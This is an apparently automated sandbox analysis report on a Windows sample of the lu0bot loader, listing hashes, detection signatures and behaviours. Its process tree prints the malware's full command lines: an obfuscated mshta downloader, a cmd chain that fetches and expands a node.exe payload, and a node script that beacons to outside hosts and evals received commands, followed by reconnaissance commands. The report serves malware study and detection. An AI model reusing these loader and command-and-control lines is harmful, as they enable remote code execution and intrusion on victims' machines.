Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7v20210408 -
submitted
04-08-2021 12:07
Static task
static1
Behavioral task
behavioral1
Sample
db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
General
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Target
db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe
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Size
3KB
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MD5
172da997f8be4c8d0318a322c8ee806e
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SHA1
224d3e925800815e792af3a28f8d2dffb9c21e70
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SHA256
db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0
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SHA512
75e85d44f076dee7505389284609ab4b138d676d777e3ebfe37e11053b293b7f5d91cfb66a4304539fb41c91db74c79ec93d262cbe1e908ffd5f530be4475ca4
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
flow pid Process 4 1940 mshta.exe 5 568 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 1188 node.exe -
Loads dropped DLL 1 IoCs
pid Process 1756 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 744 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1080 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 652 ipconfig.exe 808 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1856 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\e9a25e1cb54c06e3:ads node.exe File created C:\ProgramData\DNTException\node.exe:e62883642f2f5d48828e5be6b9a3c929 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 5 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1188 node.exe 1188 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1080 tasklist.exe Token: SeIncreaseQuotaPrivilege 868 wmic.exe Token: SeSecurityPrivilege 868 wmic.exe Token: SeTakeOwnershipPrivilege 868 wmic.exe Token: SeLoadDriverPrivilege 868 wmic.exe Token: SeSystemProfilePrivilege 868 wmic.exe Token: SeSystemtimePrivilege 868 wmic.exe Token: SeProfSingleProcessPrivilege 868 wmic.exe Token: SeIncBasePriorityPrivilege 868 wmic.exe Token: SeCreatePagefilePrivilege 868 wmic.exe Token: SeBackupPrivilege 868 wmic.exe Token: SeRestorePrivilege 868 wmic.exe Token: SeShutdownPrivilege 868 wmic.exe Token: SeDebugPrivilege 868 wmic.exe Token: SeSystemEnvironmentPrivilege 868 wmic.exe Token: SeRemoteShutdownPrivilege 868 wmic.exe Token: SeUndockPrivilege 868 wmic.exe Token: SeManageVolumePrivilege 868 wmic.exe Token: 33 868 wmic.exe Token: 34 868 wmic.exe Token: 35 868 wmic.exe Token: SeIncreaseQuotaPrivilege 868 wmic.exe Token: SeSecurityPrivilege 868 wmic.exe Token: SeTakeOwnershipPrivilege 868 wmic.exe Token: SeLoadDriverPrivilege 868 wmic.exe Token: SeSystemProfilePrivilege 868 wmic.exe Token: SeSystemtimePrivilege 868 wmic.exe Token: SeProfSingleProcessPrivilege 868 wmic.exe Token: SeIncBasePriorityPrivilege 868 wmic.exe Token: SeCreatePagefilePrivilege 868 wmic.exe Token: SeBackupPrivilege 868 wmic.exe Token: SeRestorePrivilege 868 wmic.exe Token: SeShutdownPrivilege 868 wmic.exe Token: SeDebugPrivilege 868 wmic.exe Token: SeSystemEnvironmentPrivilege 868 wmic.exe Token: SeRemoteShutdownPrivilege 868 wmic.exe Token: SeUndockPrivilege 868 wmic.exe Token: SeManageVolumePrivilege 868 wmic.exe Token: 33 868 wmic.exe Token: 34 868 wmic.exe Token: 35 868 wmic.exe Token: SeDebugPrivilege 808 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1832 wrote to memory of 1940 1832 db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe 25 PID 1832 wrote to memory of 1940 1832 db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe 25 PID 1832 wrote to memory of 1940 1832 db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe 25 PID 1832 wrote to memory of 1940 1832 db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe 25 PID 1940 wrote to memory of 524 1940 mshta.exe 27 PID 1940 wrote to memory of 524 1940 mshta.exe 27 PID 1940 wrote to memory of 524 1940 mshta.exe 27 PID 1940 wrote to memory of 524 1940 mshta.exe 27 PID 524 wrote to memory of 568 524 cmd.exe 29 PID 524 wrote to memory of 568 524 cmd.exe 29 PID 524 wrote to memory of 568 524 cmd.exe 29 PID 524 wrote to memory of 568 524 cmd.exe 29 PID 524 wrote to memory of 608 524 cmd.exe 33 PID 524 wrote to memory of 608 524 cmd.exe 33 PID 524 wrote to memory of 608 524 cmd.exe 33 PID 524 wrote to memory of 608 524 cmd.exe 33 PID 524 wrote to memory of 1756 524 cmd.exe 34 PID 524 wrote to memory of 1756 524 cmd.exe 34 PID 524 wrote to memory of 1756 524 cmd.exe 34 PID 524 wrote to memory of 1756 524 cmd.exe 34 PID 1756 wrote to memory of 1188 1756 cscript.exe 35 PID 1756 wrote to memory of 1188 1756 cscript.exe 35 PID 1756 wrote to memory of 1188 1756 cscript.exe 35 PID 1756 wrote to memory of 1188 1756 cscript.exe 35 PID 1188 wrote to memory of 2020 1188 node.exe 37 PID 1188 wrote to memory of 2020 1188 node.exe 37 PID 1188 wrote to memory of 2020 1188 node.exe 37 PID 1188 wrote to memory of 2020 1188 node.exe 37 PID 1188 wrote to memory of 1536 1188 node.exe 38 PID 1188 wrote to memory of 1536 1188 node.exe 38 PID 1188 wrote to memory of 1536 1188 node.exe 38 PID 1188 wrote to memory of 1536 1188 node.exe 38 PID 1188 wrote to memory of 744 1188 node.exe 39 PID 1188 wrote to memory of 744 1188 node.exe 39 PID 1188 wrote to memory of 744 1188 node.exe 39 PID 1188 wrote to memory of 744 1188 node.exe 39 PID 1188 wrote to memory of 912 1188 node.exe 40 PID 1188 wrote to memory of 912 1188 node.exe 40 PID 1188 wrote to memory of 912 1188 node.exe 40 PID 1188 wrote to memory of 912 1188 node.exe 40 PID 1188 wrote to memory of 1224 1188 node.exe 41 PID 1188 wrote to memory of 1224 1188 node.exe 41 PID 1188 wrote to memory of 1224 1188 node.exe 41 PID 1188 wrote to memory of 1224 1188 node.exe 41 PID 1188 wrote to memory of 1080 1188 node.exe 42 PID 1188 wrote to memory of 1080 1188 node.exe 42 PID 1188 wrote to memory of 1080 1188 node.exe 42 PID 1188 wrote to memory of 1080 1188 node.exe 42 PID 1188 wrote to memory of 868 1188 node.exe 44 PID 1188 wrote to memory of 868 1188 node.exe 44 PID 1188 wrote to memory of 868 1188 node.exe 44 PID 1188 wrote to memory of 868 1188 node.exe 44 PID 1188 wrote to memory of 652 1188 node.exe 45 PID 1188 wrote to memory of 652 1188 node.exe 45 PID 1188 wrote to memory of 652 1188 node.exe 45 PID 1188 wrote to memory of 652 1188 node.exe 45 PID 1188 wrote to memory of 1616 1188 node.exe 46 PID 1188 wrote to memory of 1616 1188 node.exe 46 PID 1188 wrote to memory of 1616 1188 node.exe 46 PID 1188 wrote to memory of 1616 1188 node.exe 46 PID 1188 wrote to memory of 808 1188 node.exe 47 PID 1188 wrote to memory of 808 1188 node.exe 47 PID 1188 wrote to memory of 808 1188 node.exe 47 PID 1188 wrote to memory of 808 1188 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 912 attrib.exe 1224 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe"C:\Users\Admin\AppData\Local\Temp\db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1832 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();159;y=unescape('%361%7Eh%74t%70%3A%2F%2F%61s%750%37%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E2%31').split('~');56;try{x='WinHttp';176;x=new ActiveXObject(x+'.'+x+'Request.5.1');175;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);251;x.send();120;y='ipt.S';132;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);32;}catch(e){};239;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1628078882500.txt & cscript /nologo /e:jscript get1628078882500.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F2f41d117a%26b%3Da02b5e3d" node.cab & expand node.cab node.exe & del get1628078882500.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1628078882500.txt & cscript /nologo /e:jscript get1628078882500.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27f41d117a%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1628078882500.txt3⤵
- Suspicious use of WriteProcessMemory
PID:524 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1628078882500.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F2f41d117a%26b%3Da02b5e3d" node.cab4⤵
- Blocklisted process makes network request
PID:568
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:608
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1628078882500.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27f41d117a%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1756 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27f41d117a%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1188 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:2020
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1536
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:744
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:912
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1224
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1080
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:868
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:652
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:1616
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:808
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:1856
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